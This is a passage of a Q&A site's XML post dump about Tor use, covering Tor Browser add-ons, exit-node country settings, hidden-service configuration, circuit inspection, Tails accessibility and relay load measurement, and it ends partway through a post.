  <row Id="10149" PostTypeId="1" CreationDate="2016-04-12T09:07:21.980" Score="1" ViewCount="221" Body="&lt;p&gt;I'd like to save web pages in .mht file format using Tor Browser  (&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/mozilla-archive-format/&quot; rel=&quot;nofollow&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/mozilla-archive-format/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But installing additional addons or plugins into the Tor Browser is not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would this specific one affect Tor's anonymity and privacy?&lt;/p&gt;&#xA;" OwnerUserId="12462" LastActivityDate="2016-04-12T09:28:49.633" Title="Add-on for saving in .mht file format" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10150" PostTypeId="2" ParentId="10149" CreationDate="2016-04-12T09:28:49.633" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Would this specific one affect Tor's anonymity and privacy?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's no real way of knowing in advance, without looking at the source code. If the source code isn't available - i.e. if it isn't an open-source project - then there's no way to check. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Note that this does appear to be in an open format, but I can't immediately see where the code is kept. You'd either a) have to trust Mozilla, or b) find the code and go through it.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is twofold:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The add-on could be creating its own connections to the outside world, bypassing Tor completely. If it can do this, then it can expose your real IP address.&lt;/li&gt;&#xA;&lt;li&gt;By installing add-ons and extensions, you change your browser's fingerprint, making you stand out from the rest of the crowd of Tor users. (See other posts marked with the &lt;a href=&quot;/questions/tagged/fingerprint&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;fingerprint&amp;#39;&quot; rel=&quot;tag&quot;&gt;fingerprint&lt;/a&gt; tag to get a better understanding of this.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2016-04-12T09:28:49.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10151" PostTypeId="2" ParentId="10148" CreationDate="2016-04-12T12:33:36.197" Score="1" Body="&lt;p&gt;Can you enable the Obfs4 or &quot;Tunnel through...&quot; Meek bridge option in Orbot? There are built in Obfs4 bridges now with the latest release of Orbot.&lt;/p&gt;&#xA;" OwnerUserId="1196" LastActivityDate="2016-04-12T12:33:36.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10155" PostTypeId="1" CreationDate="2016-04-12T18:00:52.890" Score="2" ViewCount="68" Body="&lt;p&gt;I wanted to change my &lt;code&gt;torrc&lt;/code&gt; file so the &lt;code&gt;ExitNodes&lt;/code&gt; is Jordan {JO}. When I did that, the Tor Browser couldn't connect.&lt;/p&gt;&#xA;" OwnerUserId="12468" LastEditorUserId="88" LastEditDate="2016-04-12T18:42:28.177" LastActivityDate="2016-04-12T18:42:28.177" Title="ExitNodes doesn't seem to work Jordan {JO}" Tags="|configuration|exit-policies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10156" PostTypeId="2" ParentId="10155" CreationDate="2016-04-12T18:14:49.200" Score="3" Body="&lt;p&gt;Unfortunately, there are no Jordanian exit nodes currently listed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#search/country:jo%20flag:exit&quot; rel=&quot;nofollow&quot;&gt;https://atlas.torproject.org/#search/country:jo%20flag:exit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you can find one somehow that's miscategorized as being located elsewhere, I think you're out of luck.&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2016-04-12T18:14:49.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10157" PostTypeId="1" CreationDate="2016-04-12T20:47:59.837" Score="2" ViewCount="1008" Body="&lt;p&gt;How do I get the Tor exit node IP address using the control port? &#xA;&quot;getinfo circuit-status&quot; command shows many circuits. What is my exit node? &lt;/p&gt;&#xA;" OwnerUserId="12471" LastActivityDate="2016-05-17T11:48:26.500" Title="How do I get the Tor exit node IP address using the control port?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10158" PostTypeId="1" CreationDate="2016-04-12T21:53:57.230" Score="7" ViewCount="3347" Body="&lt;p&gt;I'm a beginner who need a little help. I got stuck while i was trying to setup my hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on a Mac (EL Capitan) running Windows 7 on Parallels Desktop virtual machine. I have my wampserver 2.5 running quite nice (honestly i have a little issue: if i place my site to the www folder it wont load for the localhost command in the browser, only when i give the exact location like &lt;code&gt;localhost.index.html&lt;/code&gt;, i don't think its connected to my tor problem :) ) or? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser run just fine, but when i add this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Hidden Service&#xA;HiddenServiceDir C:\Users\UserName\tor_service&#xA;HiddenServicePort 80 127.0.0.1:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got an error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team. Restarting Tor will not close your browser tabs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If i make any changes in the &lt;code&gt;torrc&lt;/code&gt; file, this problem occurs. When i delete the added lines, the problem disappear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="12474" LastEditorUserId="88" LastEditDate="2016-04-17T21:19:00.270" LastActivityDate="2022-12-31T09:30:33.303" Title="Tor Browser won't launch after torrc file edited for hidden services" Tags="|configuration|onion-services|error|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10160" PostTypeId="1" CreationDate="2016-04-12T22:19:38.583" Score="1" ViewCount="321" Body="&lt;p&gt;Not even &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; (get white page) works fine on Firefox beta when it is selected in orbot. But there you get this warning: However, it does not appear to be Tor Browser. Click here to go to the download page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tryed with vpn/bridges. Same problem. Worked yesterday. Had to open port (9050/9040/5400) all udp and port trigger on Asus rt-ac68u stock firmware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newest ver of orbot and orfox. Android 5 sm-g870f unrooted. &lt;/p&gt;&#xA;" OwnerUserId="12475" LastActivityDate="2016-04-12T22:19:38.583" Title="Orfox does not load sites" Tags="|nyx|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10161" PostTypeId="1" CreationDate="2016-04-13T06:14:18.443" Score="1" ViewCount="350" Body="&lt;p&gt;I'm trying to start TOR with the command line option tor Bridge obfs4 ip:port Fingerprint but get these errors:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apr 13 02:03:47.090 [warn] Failed to parse/validate config: Unknown option 'ip:port'.  Failing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apr 13 02:03:47.090 [err] Reading config failed--see warnings above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I not add a bridge through command line? What's wrong?&lt;/p&gt;&#xA;" OwnerUserId="12481" LastActivityDate="2016-04-13T06:14:18.443" Title="TOR Bridge command line" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="3" ClosedDate="2016-04-19T12:53:51.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="10163" PostTypeId="1" AcceptedAnswerId="10192" CreationDate="2016-04-13T15:01:41.337" Score="2" ViewCount="1934" Body="&lt;p&gt;I'm a Tor newbie using the current version (5.5.4) on Windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using it so that I can browse as if from other countries.  I will be changing the country frequently so I want to specify the country on the command line, not in the configuration file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, Tor is started by 'firefox.exe', so I type:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;firefox.exe ExitNodes {GB}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This starts Tor, but appears to just cause FF to try to browse to the site 'ExitNodes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Won't that command just pass my config option to FF and not to Tor - but that is what the documentation tells me to do (as far as I can tell).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there some other way to specify ExitNodes without restarting the browser?&lt;/p&gt;&#xA;" OwnerUserId="12477" LastEditorUserId="12477" LastEditDate="2016-04-13T15:10:48.113" LastActivityDate="2016-04-17T06:25:04.377" Title="How to specify country (ExitNodes) on command line" Tags="|configuration|windows|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10164" PostTypeId="1" CreationDate="2016-04-13T19:20:19.177" Score="3" ViewCount="706" Body="&lt;p&gt;When launching the Tor browser.exe, the following error message pops up:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Browser does not have permission to access the profile. Please adjust your file system permissions and try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on what I should do?&lt;/p&gt;&#xA;" OwnerUserId="12487" LastEditorUserId="88" LastEditDate="2016-04-14T07:35:36.073" LastActivityDate="2022-08-10T03:28:51.197" Title="starting Tor browser (Windows 7 - 64 bit) - error message" Tags="|configuration|windows|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10165" PostTypeId="1" CreationDate="2016-04-13T19:40:01.407" Score="0" ViewCount="411" Body="&lt;p&gt;If I use a Tor to visit a site with enabled JavaScript, can this website find out my MAC address, monitor serial number, the serial number of the processor etc?&lt;/p&gt;&#xA;" OwnerUserId="12327" LastEditorUserId="88" LastEditDate="2016-04-18T15:41:48.473" LastActivityDate="2016-04-18T15:46:24.770" Title="Can a website read out my MAC address using JavaScript even though I use Tor?" Tags="|security|deanonymization|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10166" PostTypeId="1" AcceptedAnswerId="10181" CreationDate="2016-04-13T22:09:52.963" Score="1" ViewCount="83" Body="&lt;p&gt;I would like know if exist any way to activate the accessibility in the welcome dialog in tails? I would want to change the language and activate the persistence, and I cannot doing it without help from a person, and I don't have always the posibility that some person help me. Specifically I would need to activate &quot;Orca&quot;, the screen reader from linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and regards, Kathy&lt;/p&gt;&#xA;" OwnerUserId="12176" LastActivityDate="2016-04-15T09:07:30.710" Title="Accessibility in tails" Tags="|tails|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10167" PostTypeId="2" ParentId="10136" CreationDate="2016-04-13T22:22:43.480" Score="0" Body="&lt;p&gt;It is posible that the small latencies and visible ports are because your computer running whonix is on the same local network as your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure about whonix but you can route nmap scans (and pretty much any network program) with &lt;a href=&quot;https://github.com/haad/proxychains&quot; rel=&quot;nofollow&quot;&gt;proxychains&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxychains nmap www.google.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12488" LastEditorUserId="12488" LastEditDate="2016-04-13T22:28:46.987" LastActivityDate="2016-04-13T22:28:46.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10168" PostTypeId="2" ParentId="10141" CreationDate="2016-04-13T22:53:04.620" Score="1" Body="&lt;p&gt;Different programs may share the same circuits. On the &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor design&lt;/a&gt;, section 4.2&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In Tor, each circuit can be shared by many TCP streams. To avoid delays, users construct circuits preemptively.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;A different issue is that different circuits may have the same exit node, which in case you check the external IP, they will look the same.&lt;/p&gt;&#xA;&lt;p&gt;You can see the info of the circuits you have opened if you have the &lt;strong&gt;ControlPort&lt;/strong&gt; enabled. You can find more info about the Control Protocol &lt;a href=&quot;https://spec.torproject.org/control-spec/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12488" LastEditorUserId="7643" LastEditDate="2023-11-06T18:35:37.810" LastActivityDate="2023-11-06T18:35:37.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10169" PostTypeId="2" ParentId="10071" CreationDate="2016-04-13T23:08:56.657" Score="0" Body="&lt;p&gt;It is indifferent. There is the small chance (depending on the consensus weight associated to your relay, based on my experience this could happen roughy 0.01% of the times) that your TBB will use your relay as an intermediate relay (assuming that you don't allow exits), so the answer is that it is no big deal.&lt;/p&gt;&#xA;" OwnerUserId="12488" LastActivityDate="2016-04-13T23:08:56.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10170" PostTypeId="1" CreationDate="2016-04-13T23:45:21.607" Score="1" ViewCount="797" Body="&lt;p&gt;How do ensure that one's exit node will not send one JS malware (like the forbes.com drive-by download attack?) &lt;/p&gt;&#xA;" OwnerUserId="12489" LastActivityDate="2016-04-14T04:20:28.813" Title="How safe is Tor from drive-by malware?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10171" PostTypeId="2" ParentId="10157" CreationDate="2016-04-14T03:15:18.670" Score="3" Body="&lt;p&gt;The answer is that there is no single &quot;exit node&quot;. As you see, your Tor client has a variety of circuits open at once, and when a new application stream request comes in, Tor will allocate it to one of the open circuits according to a variety of heuristics. See &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt&quot; rel=&quot;nofollow&quot;&gt;path-spec.txt&lt;/a&gt; for details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, Tor Browser uses a different mechanism for attaching streams to circuits -- it aims to do &quot;per browser tab&quot; isolation, meaning there's a circuit for each browser tab:&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3455&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/3455&lt;/a&gt;&#xA;In this Tor Browser case, if you click on the green onion (the Torbutton logo), it displays a &quot;Tor circuit for this site&quot; section. Tor Browser knows this answer because it watches both stream and circuit events, and when the application request for this tab loaded, it recorded which circuit that stream attached to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You too could watch the stream and circ events on the control port if you wanted, and match up which circuit &lt;em&gt;was&lt;/em&gt; your exit node for a given past stream. But there's no easy way to predict which circuit will be your exit node for future streams.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="88" LastEditDate="2016-05-17T11:48:26.500" LastActivityDate="2016-05-17T11:48:26.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10172" PostTypeId="2" ParentId="10170" CreationDate="2016-04-14T04:20:28.813" Score="1" Body="&lt;p&gt;Using TLS (&lt;a href=&quot;https://.&quot;&gt;https://.&lt;/a&gt;.) to visit the site means the exit node cannot tamper with the content, Tor Browser uses &lt;a href=&quot;https://www.eff.org/https-everywhere&quot; rel=&quot;nofollow&quot;&gt;HTTPS Everywhere&lt;/a&gt; to try and sure that this is the case in as many instances as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser also comes with &lt;a href=&quot;https://noscript.net/&quot; rel=&quot;nofollow&quot;&gt;NoScript&lt;/a&gt; which would allow you to block any .js from loading and under the privacy and security settings you will find the security slider, which can be adjusted to reduce possible avenues of attack at the cost of possibly stopping some kinds web content from working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise it is impossible to stop it from injecting or altering content, however volunteers run scans on exit nodes to look for signs of tampering. Nodes found to be altering or injecting content are given a &quot;BadRelay&quot; flag and ejected from the Tor Network. You can report any relays you see doing this by sending an email to bad-relays@lists.torproject.org to be investigated.&lt;/p&gt;&#xA;" OwnerUserId="12491" LastActivityDate="2016-04-14T04:20:28.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10175" PostTypeId="2" ParentId="7514" CreationDate="2016-04-14T07:17:01.047" Score="0" Body="&lt;p&gt;Secure enough for what? Surely using the method you provide data will be encrypted on transport by the tor network, but it would not provide any method of integrity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what you plan is doing a peer to peer chat application, it already exists,it's called &lt;a href=&quot;https://github.com/ricochet-im/ricochet&quot; rel=&quot;nofollow&quot;&gt;Ricochet&lt;/a&gt;. If not, it's open source and it's design can help you find ways to achieve what you want.&lt;/p&gt;&#xA;" OwnerUserId="12488" LastActivityDate="2016-04-14T07:17:01.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10176" PostTypeId="2" ParentId="10158" CreationDate="2016-04-14T08:53:23.610" Score="4" Body="&lt;p&gt;Make sure you have the directory &lt;code&gt;C:\Users\UserName\tor_service&lt;/code&gt; and tor has read, write, and execute permissions.&lt;/p&gt;&#xA;" OwnerUserId="12198" LastActivityDate="2016-04-14T08:53:23.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10181" PostTypeId="2" ParentId="10166" CreationDate="2016-04-14T21:48:29.877" Score="1" Body="&lt;p&gt;Have a look at the &lt;a href=&quot;https://tails.boum.org/doc/first_steps/accessibility/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Accessibility page&lt;/a&gt; of the Tails documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that accessibility options aren't activated in the welcome dialog, but instead from the universal access menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the linked page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can activate most of these technologies from the universal access&#xA;  menu (the Universal Access icon which looks like a person) in the top&#xA;  bar.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&quot;Most of these technologies&quot; includes the &lt;a href=&quot;https://tails.boum.org/doc/first_steps/accessibility/index.en.html#index2h1&quot; rel=&quot;nofollow&quot;&gt;Orca screen reader&lt;/a&gt;, though there's a small caveat:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The screen reader does not work with Tails Installer nor with the&#xA;  Unsafe Web Browser and I2P Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the day-to-day use of Tails, this caveat shouldn't pose a problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://tails.boum.org/blueprint/bootstrapping/installer/&quot; rel=&quot;nofollow&quot;&gt;Tails Installer&lt;/a&gt; is only used once, when creating a live USB stick;&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://tails.boum.org/contribute/design/Unsafe_Browser/&quot; rel=&quot;nofollow&quot;&gt;Unsafe Browser&lt;/a&gt; is different to the browser that a user would use most of the time - most of the time they would be using the main, &quot;safe&quot; Tor-ified browser;&lt;/li&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://tails.boum.org/contribute/design/I2P_Browser/&quot; rel=&quot;nofollow&quot;&gt;I2P Browser&lt;/a&gt; is also different to the main browser, and only used for I2P traffic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2016-04-15T09:07:30.710" LastActivityDate="2016-04-15T09:07:30.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10182" PostTypeId="2" ParentId="7514" CreationDate="2016-04-14T21:49:40.420" Score="0" Body="&lt;p&gt;You need to maintain just three main rules using Tor as a transport for your app, they are :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Never resolve!&lt;/strong&gt; Use an option to pass &lt;strong&gt;all&lt;/strong&gt; the resolving behavior on a proxy side&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use telnet-based Tor control protocol&lt;/strong&gt; It's a simple task to communicate through a TCP stream to Tor binary using cleartext protocol. Do not use external libraries for that - standard socket library + LibC string functions are &lt;em&gt;just fine&lt;/em&gt; to do the job.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use no IP addresses&lt;/strong&gt; Try to utilize ini-like config file with IP's for Tor SOCKS proxy, Tor control port &lt;strong&gt;and&lt;/strong&gt; IP addresses for both, I.e. a proxy can be open for a local network too and have an address like 192.168.1.1 on a LAN interface only, but the ControlPort will be secured on 127.0.0.2, for example&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-14T21:49:40.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10185" PostTypeId="1" AcceptedAnswerId="11846" CreationDate="2016-04-15T06:38:34.267" Score="1" ViewCount="331" Body="&lt;p&gt;I was wondering if anyone could give me some advice on the usefulness of measuring the current load on a router. I have read the bandwidth authority specification, and I have a rough idea on how bandwidth authorities send a file and measure the current bandwidth experienced from the router. I was wondering would it be reasonable to utilize some sort of a packet pair technique to measure the available bandwidth on a Tor relay (or the current CPU utilization) ?  Would it be less or more useful than what directory authorities already publish in the consensus? And if the relative usefulness is not known would this be an interesting thing to attempt? Does the way that current directory authorities measure has some limitations could be worked upon? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read some papers that do active probing or similar but those seem to be written before the bandwidth measurement by bwauths were introduced or else introduce a lot of traffic in the network. Are there any research papers anyone can point me towards that particularly talk about the limitations of the current measuring structure? Or give any opinions. Basically, my main question is whether it would be worth it to measure a router's load at any given point, and what sort of ways (if known) may be available. I do not intend to measure the entire set of Tor's router population but maybe just about a dozen (so that might not overwhelm the network). Any advice would be appreciated. &lt;/p&gt;&#xA;" OwnerUserId="10813" LastActivityDate="2016-08-13T20:53:17.507" Title="Measuring current load on a Tor relay" Tags="|relays|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10186" PostTypeId="2" ParentId="10185" CreationDate="2016-04-15T10:06:05.413" Score="0" Body="&lt;p&gt;Actually, as for my experience and opinion, there are three metrics of Tor router, that are of vital importance :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the attached CPU core load&lt;/strong&gt;. Yes, the main load is, sadly, is single-core binded =( The crypto is single-core, so the one core router utilizes most is the main point of throughput/perfomance analysis. I used a simple shellscript and RRDtool(in daemon mode) to graph it, seemed to be fine. Other cores - even if you have a 16-core AMD Opteron - are barely used nowdays.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Network buffers+queues&lt;/strong&gt;, measured by packets per second - properly tuned by &lt;code&gt;sysctl&lt;/code&gt;, they can double your router's speed. Tune until you will have no further perfomance boost, and &lt;em&gt;do not forget to restart Tor each time you've changed your sysctl tunables&lt;/em&gt;! It was graphed the same way as the previous one&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Geosplit&lt;/strong&gt;, or the reachability of different countries from your IP. I used to make a periodical queries to Tor nodes database, attached IP geolocaion software, not just GeoIP, and grouped the IP's by countries. After that I checked the &quot;bad connectivity&quot; and made a node exclusion list. A tor control protocol goes next - and the bad nodes are banned. It seemed to improve connectivity and speed greatly sometimes, but never ruined speed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask a further questions&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-15T10:06:05.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10189" PostTypeId="1" CreationDate="2016-04-15T16:42:49.057" Score="1" ViewCount="281" Body="&lt;p&gt;Every link I enter returns the error:&#xA;&quot;Unable to connect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firefox can't establish a connection to the server at [link].&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The site could be temporarily unavailable or too busy. Try again in a few moments.&#xA;If you are unable to load any pages, check your computer's network connection.&#xA;If your computer or network is protected by a firewall or proxy, make sure that Tor Browser is permitted to access the Web.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get to &quot;&lt;a href=&quot;http://dirnxxdraygbifgc.onion/&quot; rel=&quot;nofollow&quot;&gt;http://dirnxxdraygbifgc.onion/&lt;/a&gt;&quot;, but any link from there returns the above error.&lt;/p&gt;&#xA;" OwnerUserId="12505" LastActivityDate="2016-04-15T16:42:49.057" Title="how to access sites on deep net" Tags="|directory|" AnswerCount="0" CommentCount="2" ClosedDate="2016-04-16T08:56:54.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="10190" PostTypeId="1" CreationDate="2016-04-12T19:46:22.623" Score="4" ViewCount="879" Body="&lt;p&gt;I'm establishing an ephemeral hidden service via Tor, but I wish to reuse the same .onion address. I know to do this I must presist the same private-key every time I run the hidden service, but how do I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm basically following the &lt;a href=&quot;https://stem.torproject.org/tutorials/over_the_river.html&quot;&gt;Stem&lt;/a&gt; documentation for python, but they don't tell you know to presist your private-key, just how to establish a hidden service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use a non-ephemeral hidden service, but I would like be able to run my .py file to establish a hidden service via usb flash drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerDisplayName="user107305" LastActivityDate="2016-05-17T11:22:30.743" Title="How to reuse same .onion address with Tor ephemeral hidden services (python)?" Tags="|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10191" PostTypeId="2" ParentId="10190" CreationDate="2016-04-16T19:38:42.460" Score="1" Body="&lt;p&gt;Why not take a look &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.create_ephemeral_hidden_service&quot; rel=&quot;nofollow&quot;&gt;here at the official docs&lt;/a&gt; ? It explicitly says, that key &lt;em&gt;can be provided&lt;/em&gt; on creation. Of course, if you've &lt;em&gt;already&lt;/em&gt; created an &lt;em&gt;ephemeral&lt;/em&gt; hidden service, then no key or other stuff can be fetched, &lt;em&gt;because it's the very meaning of it's ephemerical nature&lt;/em&gt;. Create your RSA1024 key and use it, why not?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-04-16T19:38:42.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10192" PostTypeId="2" ParentId="10163" CreationDate="2016-04-17T06:25:04.377" Score="2" Body="&lt;p&gt;Passing Tor arguments to Firefox is totally not going to do what you want. The right way to change Tor's config on Windows without restarting Tor is via the &lt;a href=&quot;https://spec.torproject.org/control-spec&quot; rel=&quot;nofollow&quot;&gt;control port&lt;/a&gt; (for example, by using a python script written with the &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;stem library&lt;/a&gt;), but this isn't something that ordinary users are expected to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, if you want to pick your country so often, maybe you will be happier using a VPN or something that aims to provide that feature? Tor focuses on anonymity and security, rather than the ability to frequently change what country you appear to be coming from.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2016-04-17T06:25:04.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10193" PostTypeId="2" ParentId="9729" CreationDate="2016-04-17T09:53:59.997" Score="1" Body="&lt;p&gt;Short answer: &lt;em&gt;If you're sure you understand and accept the &lt;a href=&quot;https://www.whonix.org/wiki/Fingerprint&quot; rel=&quot;nofollow&quot;&gt;fingerprinting&lt;/a&gt; &lt;a href=&quot;https://www.whonix.org/wiki/DoNot#Do_not_confuse_Anonymity_with_Pseudonymity.&quot; rel=&quot;nofollow&quot;&gt;risks&lt;/a&gt;,&lt;/em&gt; then yes, it's fine to use regular Firefox (or any application) in an AppVM connected to a &lt;a href=&quot;https://www.qubes-os.org/doc/whonix/&quot; rel=&quot;nofollow&quot;&gt;Whonix-Gateway&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Longer answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you may be conflating &lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow&quot;&gt;Qubes OS&lt;/a&gt; with &lt;a href=&quot;https://www.whonix.org/wiki/Qubes&quot; rel=&quot;nofollow&quot;&gt;Qubes-Whonix&lt;/a&gt;. Qubes OS can run many different types of VMs in addition to &lt;a href=&quot;https://www.qubes-os.org/doc/whonix/&quot; 